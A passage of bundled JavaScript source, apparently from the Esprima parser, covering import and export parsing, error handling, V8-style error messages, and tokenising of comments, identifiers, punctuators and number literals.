4801 var specifiers = [];
4802 if (this.lookahead.type === 8 /* StringLiteral */) {
4803 // import 'foo';
4804 src = this.parseModuleSpecifier();
4805 }
4806 else {
4807 if (this.match('{')) {
4808 // import {bar}
4809 specifiers = specifiers.concat(this.parseNamedImports());
4810 }
4811 else if (this.match('*')) {
4812 // import * as foo
4813 specifiers.push(this.parseImportNamespaceSpecifier());
4814 }
4815 else if (this.isIdentifierName(this.lookahead) && !this.matchKeyword('default')) {
4816 // import foo
4817 specifiers.push(this.parseImportDefaultSpecifier());
4818 if (this.match(',')) {
4819 this.nextToken();
4820 if (this.match('*')) {
4821 // import foo, * as foo
4822 specifiers.push(this.parseImportNamespaceSpecifier());
4823 }
4824 else if (this.match('{')) {
4825 // import foo, {bar}
4826 specifiers = specifiers.concat(this.parseNamedImports());
4827 }
4828 else {
4829 this.throwUnexpectedToken(this.lookahead);
4830 }
4831 }
4832 }
4833 else {
4834 this.throwUnexpectedToken(this.nextToken());
4835 }
4836 if (!this.matchContextualKeyword('from')) {
4837 var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
4838 this.throwError(message, this.lookahead.value);
4839 }
4840 this.nextToken();
4841 src = this.parseModuleSpecifier();
4842 }
4843 this.consumeSemicolon();
4844 return this.finalize(node, new Node.ImportDeclaration(specifiers, src));
4845 };
4846 // https://tc39.github.io/ecma262/#sec-exports
4847 Parser.prototype.parseExportSpecifier = function () {
4848 var node = this.createNode();
4849 var local = this.parseIdentifierName();
4850 var exported = local;
4851 if (this.matchContextualKeyword('as')) {
4852 this.nextToken();
4853 exported = this.parseIdentifierName();
4854 }
4855 return this.finalize(node, new Node.ExportSpecifier(local, exported));
4856 };
4857 Parser.prototype.parseExportDeclaration = function () {
4858 if (this.context.inFunctionBody) {
4859 this.throwError(messages_1.Messages.IllegalExportDeclaration);
4860 }
4861 var node = this.createNode();
4862 this.expectKeyword('export');
4863 var exportDeclaration;
4864 if (this.matchKeyword('default')) {
4865 // export default ...
4866 this.nextToken();
4867 if (this.matchKeyword('function')) {
4868 // export default function foo () {}
4869 // export default function () {}
4870 var declaration = this.parseFunctionDeclaration(true);
4871 exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
4872 }
4873 else if (this.matchKeyword('class')) {
4874 // export default class foo {}
4875 var declaration = this.parseClassDeclaration(true);
4876 exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
4877 }
4878 else if (this.matchContextualKeyword('async')) {
4879 // export default async function f () {}
4880 // export default async function () {}
4881 // export default async x => x
4882 var declaration = this.matchAsyncFunction() ? this.parseFunctionDeclaration(true) : this.parseAssignmentExpression();
4883 exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
4884 }
4885 else {
4886 if (this.matchContextualKeyword('from')) {
4887 this.throwError(messages_1.Messages.UnexpectedToken, this.lookahead.value);
4888 }
4889 // export default {};
4890 // export default [];
4891 // export default (1 + 2);
4892 var declaration = this.match('{') ? this.parseObjectInitializer() :
4893 this.match('[') ? this.parseArrayInitializer() : this.parseAssignmentExpression();
4894 this.consumeSemicolon();
4895 exportDeclaration = this.finalize(node, new Node.ExportDefaultDeclaration(declaration));
4896 }
4897 }
4898 else if (this.match('*')) {
4899 // export * from 'foo';
4900 this.nextToken();
4901 if (!this.matchContextualKeyword('from')) {
4902 var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
4903 this.throwError(message, this.lookahead.value);
4904 }
4905 this.nextToken();
4906 var src = this.parseModuleSpecifier();
4907 this.consumeSemicolon();
4908 exportDeclaration = this.finalize(node, new Node.ExportAllDeclaration(src));
4909 }
4910 else if (this.lookahead.type === 4 /* Keyword */) {
4911 // export var f = 1;
4912 var declaration = void 0;
4913 switch (this.lookahead.value) {
4914 case 'let':
4915 case 'const':
4916 declaration = this.parseLexicalDeclaration({ inFor: false });
4917 break;
4918 case 'var':
4919 case 'class':
4920 case 'function':
4921 declaration = this.parseStatementListItem();
4922 break;
4923 default:
4924 this.throwUnexpectedToken(this.lookahead);
4925 }
4926 exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null));
4927 }
4928 else if (this.matchAsyncFunction()) {
4929 var declaration = this.parseFunctionDeclaration();
4930 exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(declaration, [], null));
4931 }
4932 else {
4933 var specifiers = [];
4934 var source = null;
4935 var isExportFromIdentifier = false;
4936 this.expect('{');
4937 while (!this.match('}')) {
4938 isExportFromIdentifier = isExportFromIdentifier || this.matchKeyword('default');
4939 specifiers.push(this.parseExportSpecifier());
4940 if (!this.match('}')) {
4941 this.expect(',');
4942 }
4943 }
4944 this.expect('}');
4945 if (this.matchContextualKeyword('from')) {
4946 // export {default} from 'foo';
4947 // export {foo} from 'foo';
4948 this.nextToken();
4949 source = this.parseModuleSpecifier();
4950 this.consumeSemicolon();
4951 }
4952 else if (isExportFromIdentifier) {
4953 // export {default}; // missing fromClause
4954 var message = this.lookahead.value ? messages_1.Messages.UnexpectedToken : messages_1.Messages.MissingFromClause;
4955 this.throwError(message, this.lookahead.value);
4956 }
4957 else {
4958 // export {foo};
4959 this.consumeSemicolon();
4960 }
4961 exportDeclaration = this.finalize(node, new Node.ExportNamedDeclaration(null, specifiers, source));
4962 }
4963 return exportDeclaration;
4964 };
4965 return Parser;
4966 }());
4967 exports.Parser = Parser;
4968
4969
4970/***/ },
4971/* 9 */
4972/***/ function(module, exports) {
4973
4974 "use strict";
4975 // Ensure the condition is true, otherwise throw an error.
4976 // This is only to have a better contract semantic, i.e. another safety net
4977 // to catch a logic error. The condition shall be fulfilled in normal case.
4978 // Do NOT use this to enforce a certain condition on any user input.
4979 Object.defineProperty(exports, "__esModule", { value: true });
4980 function assert(condition, message) {
4981 /* istanbul ignore if */
4982 if (!condition) {
4983 throw new Error('ASSERT: ' + message);
4984 }
4985 }
4986 exports.assert = assert;
4987
4988
4989/***/ },
4990/* 10 */
4991/***/ function(module, exports) {
4992
4993 "use strict";
4994 /* tslint:disable:max-classes-per-file */
4995 Object.defineProperty(exports, "__esModule", { value: true });
4996 var ErrorHandler = (function () {
4997 function ErrorHandler() {
4998 this.errors = [];
4999 this.tolerant = false;
5000 }
5001 ErrorHandler.prototype.recordError = function (error) {
5002 this.errors.push(error);
5003 };
5004 ErrorHandler.prototype.tolerate = function (error) {
5005 if (this.tolerant) {
5006 this.recordError(error);
5007 }
5008 else {
5009 throw error;
5010 }
5011 };
5012 ErrorHandler.prototype.constructError = function (msg, column) {
5013 var error = new Error(msg);
5014 try {
5015 throw error;
5016 }
5017 catch (base) {
5018 /* istanbul ignore else */
5019 if (Object.create && Object.defineProperty) {
5020 error = Object.create(base);
5021 Object.defineProperty(error, 'column', { value: column });
5022 }
5023 }
5024 /* istanbul ignore next */
5025 return error;
5026 };
5027 ErrorHandler.prototype.createError = function (index, line, col, description) {
5028 var msg = 'Line ' + line + ': ' + description;
5029 var error = this.constructError(msg, col);
5030 error.index = index;
5031 error.lineNumber = line;
5032 error.description = description;
5033 return error;
5034 };
5035 ErrorHandler.prototype.throwError = function (index, line, col, description) {
5036 throw this.createError(index, line, col, description);
5037 };
5038 ErrorHandler.prototype.tolerateError = function (index, line, col, description) {
5039 var error = this.createError(index, line, col, description);
5040 if (this.tolerant) {
5041 this.recordError(error);
5042 }
5043 else {
5044 throw error;
5045 }
5046 };
5047 return ErrorHandler;
5048 }());
5049 exports.ErrorHandler = ErrorHandler;
5050
5051
5052/***/ },
5053/* 11 */
5054/***/ function(module, exports) {
5055
5056 "use strict";
5057 Object.defineProperty(exports, "__esModule", { value: true });
5058 // Error messages should be identical to V8.
5059 exports.Messages = {
5060 BadGetterArity: 'Getter must not have any formal parameters',
5061 BadSetterArity: 'Setter must have exactly one formal parameter',
5062 BadSetterRestParameter: 'Setter function argument must not be a rest parameter',
5063 ConstructorIsAsync: 'Class constructor may not be an async method',
5064 ConstructorSpecialMethod: 'Class constructor may not be an accessor',
5065 DeclarationMissingInitializer: 'Missing initializer in %0 declaration',
5066 DefaultRestParameter: 'Unexpected token =',
5067 DuplicateBinding: 'Duplicate binding %0',
5068 DuplicateConstructor: 'A class may only have one constructor',
5069 DuplicateProtoProperty: 'Duplicate __proto__ fields are not allowed in object literals',
5070 ForInOfLoopInitializer: '%0 loop variable declaration may not have an initializer',
5071 GeneratorInLegacyContext: 'Generator declarations are not allowed in legacy contexts',
5072 IllegalBreak: 'Illegal break statement',
5073 IllegalContinue: 'Illegal continue statement',
5074 IllegalExportDeclaration: 'Unexpected token',
5075 IllegalImportDeclaration: 'Unexpected token',
5076 IllegalLanguageModeDirective: 'Illegal \'use strict\' directive in function with non-simple parameter list',
5077 IllegalReturn: 'Illegal return statement',
5078 InvalidEscapedReservedWord: 'Keyword must not contain escaped characters',
5079 InvalidHexEscapeSequence: 'Invalid hexadecimal escape sequence',
5080 InvalidLHSInAssignment: 'Invalid left-hand side in assignment',
5081 InvalidLHSInForIn: 'Invalid left-hand side in for-in',
5082 InvalidLHSInForLoop: 'Invalid left-hand side in for-loop',
5083 InvalidModuleSpecifier: 'Unexpected token',
5084 InvalidRegExp: 'Invalid regular expression',
5085 LetInLexicalBinding: 'let is disallowed as a lexically bound name',
5086 MissingFromClause: 'Unexpected token',
5087 MultipleDefaultsInSwitch: 'More than one default clause in switch statement',
5088 NewlineAfterThrow: 'Illegal newline after throw',
5089 NoAsAfterImportNamespace: 'Unexpected token',
5090 NoCatchOrFinally: 'Missing catch or finally after try',
5091 ParameterAfterRestParameter: 'Rest parameter must be last formal parameter',
5092 Redeclaration: '%0 \'%1\' has already been declared',
5093 StaticPrototype: 'Classes may not have static property named prototype',
5094 StrictCatchVariable: 'Catch variable may not be eval or arguments in strict mode',
5095 StrictDelete: 'Delete of an unqualified identifier in strict mode.',
5096 StrictFunction: 'In strict mode code, functions can only be declared at top level or inside a block',
5097 StrictFunctionName: 'Function name may not be eval or arguments in strict mode',
5098 StrictLHSAssignment: 'Assignment to eval or arguments is not allowed in strict mode',
5099 StrictLHSPostfix: 'Postfix increment/decrement may not have eval or arguments operand in strict mode',
5100 StrictLHSPrefix: 'Prefix increment/decrement may not have eval or arguments operand in strict mode',
5101 StrictModeWith: 'Strict mode code may not include a with statement',
5102 StrictOctalLiteral: 'Octal literals are not allowed in strict mode.',
5103 StrictParamDupe: 'Strict mode function may not have duplicate parameter names',
5104 StrictParamName: 'Parameter name eval or arguments is not allowed in strict mode',
5105 StrictReservedWord: 'Use of future reserved word in strict mode',
5106 StrictVarName: 'Variable name may not be eval or arguments in strict mode',
5107 TemplateOctalLiteral: 'Octal literals are not allowed in template strings.',
5108 UnexpectedEOS: 'Unexpected end of input',
5109 UnexpectedIdentifier: 'Unexpected identifier',
5110 UnexpectedNumber: 'Unexpected number',
5111 UnexpectedReserved: 'Unexpected reserved word',
5112 UnexpectedString: 'Unexpected string',
5113 UnexpectedTemplate: 'Unexpected quasi %0',
5114 UnexpectedToken: 'Unexpected token %0',
5115 UnexpectedTokenIllegal: 'Unexpected token ILLEGAL',
5116 UnknownLabel: 'Undefined label \'%0\'',
5117 UnterminatedRegExp: 'Invalid regular expression: missing /'
5118 };
5119
5120
5121/***/ },
5122/* 12 */
5123/***/ function(module, exports, __webpack_require__) {
5124
5125 "use strict";
5126 Object.defineProperty(exports, "__esModule", { value: true });
5127 var assert_1 = __webpack_require__(9);
5128 var character_1 = __webpack_require__(4);
5129 var messages_1 = __webpack_require__(11);
5130 function hexValue(ch) {
5131 return '0123456789abcdef'.indexOf(ch.toLowerCase());
5132 }
5133 function octalValue(ch) {
5134 return '01234567'.indexOf(ch);
5135 }
5136 var Scanner = (function () {
5137 function Scanner(code, handler) {
5138 this.source = code;
5139 this.errorHandler = handler;
5140 this.trackComment = false;
5141 this.isModule = false;
5142 this.length = code.length;
5143 this.index = 0;
5144 this.lineNumber = (code.length > 0) ? 1 : 0;
5145 this.lineStart = 0;
5146 this.curlyStack = [];
5147 }
5148 Scanner.prototype.saveState = function () {
5149 return {
5150 index: this.index,
5151 lineNumber: this.lineNumber,
5152 lineStart: this.lineStart
5153 };
5154 };
5155 Scanner.prototype.restoreState = function (state) {
5156 this.index = state.index;
5157 this.lineNumber = state.lineNumber;
5158 this.lineStart = state.lineStart;
5159 };
5160 Scanner.prototype.eof = function () {
5161 return this.index >= this.length;
5162 };
5163 Scanner.prototype.throwUnexpectedToken = function (message) {
5164 if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; }
5165 return this.errorHandler.throwError(this.index, this.lineNumber, this.index - this.lineStart + 1, message);
5166 };
5167 Scanner.prototype.tolerateUnexpectedToken = function (message) {
5168 if (message === void 0) { message = messages_1.Messages.UnexpectedTokenIllegal; }
5169 this.errorHandler.tolerateError(this.index, this.lineNumber, this.index - this.lineStart + 1, message);
5170 };
5171 // https://tc39.github.io/ecma262/#sec-comments
5172 Scanner.prototype.skipSingleLineComment = function (offset) {
5173 var comments = [];
5174 var start, loc;
5175 if (this.trackComment) {
5176 comments = [];
5177 start = this.index - offset;
5178 loc = {
5179 start: {
5180 line: this.lineNumber,
5181 column: this.index - this.lineStart - offset
5182 },
5183 end: {}
5184 };
5185 }
5186 while (!this.eof()) {
5187 var ch = this.source.charCodeAt(this.index);
5188 ++this.index;
5189 if (character_1.Character.isLineTerminator(ch)) {
5190 if (this.trackComment) {
5191 loc.end = {
5192 line: this.lineNumber,
5193 column: this.index - this.lineStart - 1
5194 };
5195 var entry = {
5196 multiLine: false,
5197 slice: [start + offset, this.index - 1],
5198 range: [start, this.index - 1],
5199 loc: loc
5200 };
5201 comments.push(entry);
5202 }
5203 if (ch === 13 && this.source.charCodeAt(this.index) === 10) {
5204 ++this.index;
5205 }
5206 ++this.lineNumber;
5207 this.lineStart = this.index;
5208 return comments;
5209 }
5210 }
5211 if (this.trackComment) {
5212 loc.end = {
5213 line: this.lineNumber,
5214 column: this.index - this.lineStart
5215 };
5216 var entry = {
5217 multiLine: false,
5218 slice: [start + offset, this.index],
5219 range: [start, this.index],
5220 loc: loc
5221 };
5222 comments.push(entry);
5223 }
5224 return comments;
5225 };
5226 Scanner.prototype.skipMultiLineComment = function () {
5227 var comments = [];
5228 var start, loc;
5229 if (this.trackComment) {
5230 comments = [];
5231 start = this.index - 2;
5232 loc = {
5233 start: {
5234 line: this.lineNumber,
5235 column: this.index - this.lineStart - 2
5236 },
5237 end: {}
5238 };
5239 }
5240 while (!this.eof()) {
5241 var ch = this.source.charCodeAt(this.index);
5242 if (character_1.Character.isLineTerminator(ch)) {
5243 if (ch === 0x0D && this.source.charCodeAt(this.index + 1) === 0x0A) {
5244 ++this.index;
5245 }
5246 ++this.lineNumber;
5247 ++this.index;
5248 this.lineStart = this.index;
5249 }
5250 else if (ch === 0x2A) {
5251 // Block comment ends with '*/'.
5252 if (this.source.charCodeAt(this.index + 1) === 0x2F) {
5253 this.index += 2;
5254 if (this.trackComment) {
5255 loc.end = {
5256 line: this.lineNumber,
5257 column: this.index - this.lineStart
5258 };
5259 var entry = {
5260 multiLine: true,
5261 slice: [start + 2, this.index - 2],
5262 range: [start, this.index],
5263 loc: loc
5264 };
5265 comments.push(entry);
5266 }
5267 return comments;
5268 }
5269 ++this.index;
5270 }
5271 else {
5272 ++this.index;
5273 }
5274 }
5275 // Ran off the end of the file - the whole thing is a comment
5276 if (this.trackComment) {
5277 loc.end = {
5278 line: this.lineNumber,
5279 column: this.index - this.lineStart
5280 };
5281 var entry = {
5282 multiLine: true,
5283 slice: [start + 2, this.index],
5284 range: [start, this.index],
5285 loc: loc
5286 };
5287 comments.push(entry);
5288 }
5289 this.tolerateUnexpectedToken();
5290 return comments;
5291 };
5292 Scanner.prototype.scanComments = function () {
5293 var comments;
5294 if (this.trackComment) {
5295 comments = [];
5296 }
5297 var start = (this.index === 0);
5298 while (!this.eof()) {
5299 var ch = this.source.charCodeAt(this.index);
5300 if (character_1.Character.isWhiteSpace(ch)) {
5301 ++this.index;
5302 }
5303 else if (character_1.Character.isLineTerminator(ch)) {
5304 ++this.index;
5305 if (ch === 0x0D && this.source.charCodeAt(this.index) === 0x0A) {
5306 ++this.index;
5307 }
5308 ++this.lineNumber;
5309 this.lineStart = this.index;
5310 start = true;
5311 }
5312 else if (ch === 0x2F) {
5313 ch = this.source.charCodeAt(this.index + 1);
5314 if (ch === 0x2F) {
5315 this.index += 2;
5316 var comment = this.skipSingleLineComment(2);
5317 if (this.trackComment) {
5318 comments = comments.concat(comment);
5319 }
5320 start = true;
5321 }
5322 else if (ch === 0x2A) {
5323 this.index += 2;
5324 var comment = this.skipMultiLineComment();
5325 if (this.trackComment) {
5326 comments = comments.concat(comment);
5327 }
5328 }
5329 else {
5330 break;
5331 }
5332 }
5333 else if (start && ch === 0x2D) {
5334 // U+003E is '>'
5335 if ((this.source.charCodeAt(this.index + 1) === 0x2D) && (this.source.charCodeAt(this.index + 2) === 0x3E)) {
5336 // '-->' is a single-line comment
5337 this.index += 3;
5338 var comment = this.skipSingleLineComment(3);
5339 if (this.trackComment) {
5340 comments = comments.concat(comment);
5341 }
5342 }
5343 else {
5344 break;
5345 }
5346 }
5347 else if (ch === 0x3C && !this.isModule) {
5348 if (this.source.slice(this.index + 1, this.index + 4) === '!--') {
5349 this.index += 4; // `<!--`
5350 var comment = this.skipSingleLineComment(4);
5351 if (this.trackComment) {
5352 comments = comments.concat(comment);
5353 }
5354 }
5355 else {
5356 break;
5357 }
5358 }
5359 else {
5360 break;
5361 }
5362 }
5363 return comments;
5364 };
5365 // https://tc39.github.io/ecma262/#sec-future-reserved-words
5366 Scanner.prototype.isFutureReservedWord = function (id) {
5367 switch (id) {
5368 case 'enum':
5369 case 'export':
5370 case 'import':
5371 case 'super':
5372 return true;
5373 default:
5374 return false;
5375 }
5376 };
5377 Scanner.prototype.isStrictModeReservedWord = function (id) {
5378 switch (id) {
5379 case 'implements':
5380 case 'interface':
5381 case 'package':
5382 case 'private':
5383 case 'protected':
5384 case 'public':
5385 case 'static':
5386 case 'yield':
5387 case 'let':
5388 return true;
5389 default:
5390 return false;
5391 }
5392 };
5393 Scanner.prototype.isRestrictedWord = function (id) {
5394 return id === 'eval' || id === 'arguments';
5395 };
5396 // https://tc39.github.io/ecma262/#sec-keywords
5397 Scanner.prototype.isKeyword = function (id) {
5398 switch (id.length) {
5399 case 2:
5400 return (id === 'if') || (id === 'in') || (id === 'do');
5401 case 3:
5402 return (id === 'var') || (id === 'for') || (id === 'new') ||
5403 (id === 'try') || (id === 'let');
5404 case 4:
5405 return (id === 'this') || (id === 'else') || (id === 'case') ||
5406 (id === 'void') || (id === 'with') || (id === 'enum');
5407 case 5:
5408 return (id === 'while') || (id === 'break') || (id === 'catch') ||
5409 (id === 'throw') || (id === 'const') || (id === 'yield') ||
5410 (id === 'class') || (id === 'super');
5411 case 6:
5412 return (id === 'return') || (id === 'typeof') || (id === 'delete') ||
5413 (id === 'switch') || (id === 'export') || (id === 'import');
5414 case 7:
5415 return (id === 'default') || (id === 'finally') || (id === 'extends');
5416 case 8:
5417 return (id === 'function') || (id === 'continue') || (id === 'debugger');
5418 case 10:
5419 return (id === 'instanceof');
5420 default:
5421 return false;
5422 }
5423 };
5424 Scanner.prototype.codePointAt = function (i) {
5425 var cp = this.source.charCodeAt(i);
5426 if (cp >= 0xD800 && cp <= 0xDBFF) {
5427 var second = this.source.charCodeAt(i + 1);
5428 if (second >= 0xDC00 && second <= 0xDFFF) {
5429 var first = cp;
5430 cp = (first - 0xD800) * 0x400 + second - 0xDC00 + 0x10000;
5431 }
5432 }
5433 return cp;
5434 };
5435 Scanner.prototype.scanHexEscape = function (prefix) {
5436 var len = (prefix === 'u') ? 4 : 2;
5437 var code = 0;
5438 for (var i = 0; i < len; ++i) {
5439 if (!this.eof() && character_1.Character.isHexDigit(this.source.charCodeAt(this.index))) {
5440 code = code * 16 + hexValue(this.source[this.index++]);
5441 }
5442 else {
5443 return null;
5444 }
5445 }
5446 return String.fromCharCode(code);
5447 };
5448 Scanner.prototype.scanUnicodeCodePointEscape = function () {
5449 var ch = this.source[this.index];
5450 var code = 0;
5451 // At least, one hex digit is required.
5452 if (ch === '}') {
5453 this.throwUnexpectedToken();
5454 }
5455 while (!this.eof()) {
5456 ch = this.source[this.index++];
5457 if (!character_1.Character.isHexDigit(ch.charCodeAt(0))) {
5458 break;
5459 }
5460 code = code * 16 + hexValue(ch);
5461 }
5462 if (code > 0x10FFFF || ch !== '}') {
5463 this.throwUnexpectedToken();
5464 }
5465 return character_1.Character.fromCodePoint(code);
5466 };
5467 Scanner.prototype.getIdentifier = function () {
5468 var start = this.index++;
5469 while (!this.eof()) {
5470 var ch = this.source.charCodeAt(this.index);
5471 if (ch === 0x5C) {
5472 // Blackslash (U+005C) marks Unicode escape sequence.
5473 this.index = start;
5474 return this.getComplexIdentifier();
5475 }
5476 else if (ch >= 0xD800 && ch < 0xDFFF) {
5477 // Need to handle surrogate pairs.
5478 this.index = start;
5479 return this.getComplexIdentifier();
5480 }
5481 if (character_1.Character.isIdentifierPart(ch)) {
5482 ++this.index;
5483 }
5484 else {
5485 break;
5486 }
5487 }
5488 return this.source.slice(start, this.index);
5489 };
5490 Scanner.prototype.getComplexIdentifier = function () {
5491 var cp = this.codePointAt(this.index);
5492 var id = character_1.Character.fromCodePoint(cp);
5493 this.index += id.length;
5494 // '\u' (U+005C, U+0075) denotes an escaped character.
5495 var ch;
5496 if (cp === 0x5C) {
5497 if (this.source.charCodeAt(this.index) !== 0x75) {
5498 this.throwUnexpectedToken();
5499 }
5500 ++this.index;
5501 if (this.source[this.index] === '{') {
5502 ++this.index;
5503 ch = this.scanUnicodeCodePointEscape();
5504 }
5505 else {
5506 ch = this.scanHexEscape('u');
5507 if (ch === null || ch === '\\' || !character_1.Character.isIdentifierStart(ch.charCodeAt(0))) {
5508 this.throwUnexpectedToken();
5509 }
5510 }
5511 id = ch;
5512 }
5513 while (!this.eof()) {
5514 cp = this.codePointAt(this.index);
5515 if (!character_1.Character.isIdentifierPart(cp)) {
5516 break;
5517 }
5518 ch = character_1.Character.fromCodePoint(cp);
5519 id += ch;
5520 this.index += ch.length;
5521 // '\u' (U+005C, U+0075) denotes an escaped character.
5522 if (cp === 0x5C) {
5523 id = id.substr(0, id.length - 1);
5524 if (this.source.charCodeAt(this.index) !== 0x75) {
5525 this.throwUnexpectedToken();
5526 }
5527 ++this.index;
5528 if (this.source[this.index] === '{') {
5529 ++this.index;
5530 ch = this.scanUnicodeCodePointEscape();
5531 }
5532 else {
5533 ch = this.scanHexEscape('u');
5534 if (ch === null || ch === '\\' || !character_1.Character.isIdentifierPart(ch.charCodeAt(0))) {
5535 this.throwUnexpectedToken();
5536 }
5537 }
5538 id += ch;
5539 }
5540 }
5541 return id;
5542 };
5543 Scanner.prototype.octalToDecimal = function (ch) {
5544 // \0 is not octal escape sequence
5545 var octal = (ch !== '0');
5546 var code = octalValue(ch);
5547 if (!this.eof() && character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
5548 octal = true;
5549 code = code * 8 + octalValue(this.source[this.index++]);
5550 // 3 digits are only allowed when string starts
5551 // with 0, 1, 2, 3
5552 if ('0123'.indexOf(ch) >= 0 && !this.eof() && character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
5553 code = code * 8 + octalValue(this.source[this.index++]);
5554 }
5555 }
5556 return {
5557 code: code,
5558 octal: octal
5559 };
5560 };
5561 // https://tc39.github.io/ecma262/#sec-names-and-keywords
5562 Scanner.prototype.scanIdentifier = function () {
5563 var type;
5564 var start = this.index;
5565 // Backslash (U+005C) starts an escaped character.
5566 var id = (this.source.charCodeAt(start) === 0x5C) ? this.getComplexIdentifier() : this.getIdentifier();
5567 // There is no keyword or literal with only one character.
5568 // Thus, it must be an identifier.
5569 if (id.length === 1) {
5570 type = 3 /* Identifier */;
5571 }
5572 else if (this.isKeyword(id)) {
5573 type = 4 /* Keyword */;
5574 }
5575 else if (id === 'null') {
5576 type = 5 /* NullLiteral */;
5577 }
5578 else if (id === 'true' || id === 'false') {
5579 type = 1 /* BooleanLiteral */;
5580 }
5581 else {
5582 type = 3 /* Identifier */;
5583 }
5584 if (type !== 3 /* Identifier */ && (start + id.length !== this.index)) {
5585 var restore = this.index;
5586 this.index = start;
5587 this.tolerateUnexpectedToken(messages_1.Messages.InvalidEscapedReservedWord);
5588 this.index = restore;
5589 }
5590 return {
5591 type: type,
5592 value: id,
5593 lineNumber: this.lineNumber,
5594 lineStart: this.lineStart,
5595 start: start,
5596 end: this.index
5597 };
5598 };
5599 // https://tc39.github.io/ecma262/#sec-punctuators
5600 Scanner.prototype.scanPunctuator = function () {
5601 var start = this.index;
5602 // Check for most common single-character punctuators.
5603 var str = this.source[this.index];
5604 switch (str) {
5605 case '(':
5606 case '{':
5607 if (str === '{') {
5608 this.curlyStack.push('{');
5609 }
5610 ++this.index;
5611 break;
5612 case '.':
5613 ++this.index;
5614 if (this.source[this.index] === '.' && this.source[this.index + 1] === '.') {
5615 // Spread operator: ...
5616 this.index += 2;
5617 str = '...';
5618 }
5619 break;
5620 case '}':
5621 ++this.index;
5622 this.curlyStack.pop();
5623 break;
5624 case ')':
5625 case ';':
5626 case ',':
5627 case '[':
5628 case ']':
5629 case ':':
5630 case '?':
5631 case '~':
5632 ++this.index;
5633 break;
5634 default:
5635 // 4-character punctuator.
5636 str = this.source.substr(this.index, 4);
5637 if (str === '>>>=') {
5638 this.index += 4;
5639 }
5640 else {
5641 // 3-character punctuators.
5642 str = str.substr(0, 3);
5643 if (str === '===' || str === '!==' || str === '>>>' ||
5644 str === '<<=' || str === '>>=' || str === '**=') {
5645 this.index += 3;
5646 }
5647 else {
5648 // 2-character punctuators.
5649 str = str.substr(0, 2);
5650 if (str === '&&' || str === '||' || str === '==' || str === '!=' ||
5651 str === '+=' || str === '-=' || str === '*=' || str === '/=' ||
5652 str === '++' || str === '--' || str === '<<' || str === '>>' ||
5653 str === '&=' || str === '|=' || str === '^=' || str === '%=' ||
5654 str === '<=' || str === '>=' || str === '=>' || str === '**') {
5655 this.index += 2;
5656 }
5657 else {
5658 // 1-character punctuators.
5659 str = this.source[this.index];
5660 if ('<>=!+-*%&|^/'.indexOf(str) >= 0) {
5661 ++this.index;
5662 }
5663 }
5664 }
5665 }
5666 }
5667 if (this.index === start) {
5668 this.throwUnexpectedToken();
5669 }
5670 return {
5671 type: 7 /* Punctuator */,
5672 value: str,
5673 lineNumber: this.lineNumber,
5674 lineStart: this.lineStart,
5675 start: start,
5676 end: this.index
5677 };
5678 };
5679 // https://tc39.github.io/ecma262/#sec-literals-numeric-literals
5680 Scanner.prototype.scanHexLiteral = function (start) {
5681 var num = '';
5682 while (!this.eof()) {
5683 if (!character_1.Character.isHexDigit(this.source.charCodeAt(this.index))) {
5684 break;
5685 }
5686 num += this.source[this.index++];
5687 }
5688 if (num.length === 0) {
5689 this.throwUnexpectedToken();
5690 }
5691 if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index))) {
5692 this.throwUnexpectedToken();
5693 }
5694 return {
5695 type: 6 /* NumericLiteral */,
5696 value: parseInt('0x' + num, 16),
5697 lineNumber: this.lineNumber,
5698 lineStart: this.lineStart,
5699 start: start,
5700 end: this.index
5701 };
5702 };
5703 Scanner.prototype.scanBinaryLiteral = function (start) {
5704 var num = '';
5705 var ch;
5706 while (!this.eof()) {
5707 ch = this.source[this.index];
5708 if (ch !== '0' && ch !== '1') {
5709 break;
5710 }
5711 num += this.source[this.index++];
5712 }
5713 if (num.length === 0) {
5714 // only 0b or 0B
5715 this.throwUnexpectedToken();
5716 }
5717 if (!this.eof()) {
5718 ch = this.source.charCodeAt(this.index);
5719 /* istanbul ignore else */
5720 if (character_1.Character.isIdentifierStart(ch) || character_1.Character.isDecimalDigit(ch)) {
5721 this.throwUnexpectedToken();
5722 }
5723 }
5724 return {
5725 type: 6 /* NumericLiteral */,
5726 value: parseInt(num, 2),
5727 lineNumber: this.lineNumber,
5728 lineStart: this.lineStart,
5729 start: start,
5730 end: this.index
5731 };
5732 };
5733 Scanner.prototype.scanOctalLiteral = function (prefix, start) {
5734 var num = '';
5735 var octal = false;
5736 if (character_1.Character.isOctalDigit(prefix.charCodeAt(0))) {
5737 octal = true;
5738 num = '0' + this.source[this.index++];
5739 }
5740 else {
5741 ++this.index;
5742 }
5743 while (!this.eof()) {
5744 if (!character_1.Character.isOctalDigit(this.source.charCodeAt(this.index))) {
5745 break;
5746 }
5747 num += this.source[this.index++];
5748 }
5749 if (!octal && num.length === 0) {
5750 // only 0o or 0O
5751 this.throwUnexpectedToken();
5752 }
5753 if (character_1.Character.isIdentifierStart(this.source.charCodeAt(this.index)) || character_1.Character.isDecimalDigit(this.source.charCodeAt(this.index))) {
5754 this.throwUnexpectedToken();
5755 }
5756 return {
5757 type: 6 /* NumericLiteral */,
5758 value: parseInt(num, 8),
5759 octal: octal,
5760 lineNumber: this.lineNumber,
5761 lineStart: this.lineStart,
5762 start: start,
5763 end: this.index
5764 };
5765 };
5766 Scanner.prototype.isImplicitOctalLiteral = function () {
5767 // Implicit octal, unless there is a non-octal digit.
5768 // (Annex B.1.1 on Numeric Literals)
5769 for (var i = this.index + 1; i < this.length; ++i) {
5770 var ch = this.source[i];
5771 if (ch === '8' || ch === '9') {
5772 return false;
5773 }
5774 if (!character_1.Character.isOctalDigit(ch.charCodeAt(0))) {
5775 return true;
5776 }
5777 }
5778 return true;
5779 };
5780 Scanner.prototype.scanNumericLiteral = function () {
5781 var start = this.index;
5782 var ch = this.source[start];
